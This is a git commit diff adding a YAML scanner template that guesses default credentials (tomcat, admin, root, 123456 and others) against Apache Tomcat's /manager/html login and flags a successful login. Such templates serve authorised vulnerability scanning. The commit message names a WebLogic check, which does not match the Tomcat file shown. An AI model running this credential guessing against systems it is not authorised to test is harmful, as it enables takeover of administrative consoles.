add weblogic-console-weak

2026-09-26 05:01:53 +08:00 · 2021-06-21 17:22:27 +08:00
parent 1437ac60ff
commit 3d3ecac605
2 changed files with 35 additions and 2 deletions
@@ -0,0 +1,31 @@
+name: poc-yaml-tomcat-manager-weak
+sets:
+  username:
+    - tomcat
+    - admin
+    - root
+    - manager
+  password:
+    - ""
+    - admin
+    - tomcat
+    - 123456
+    - root
+  payload:
+    - base64(username+":"+password)
+rules:
+  - method: GET
+    path: /manager/html
+    follow_redirects: false
+    expression: |
+      response.status == 401  && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager")
+  - method: GET
+    path: /manager/html
+    headers:
+      Authorization: Basic {{payload}}
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)
+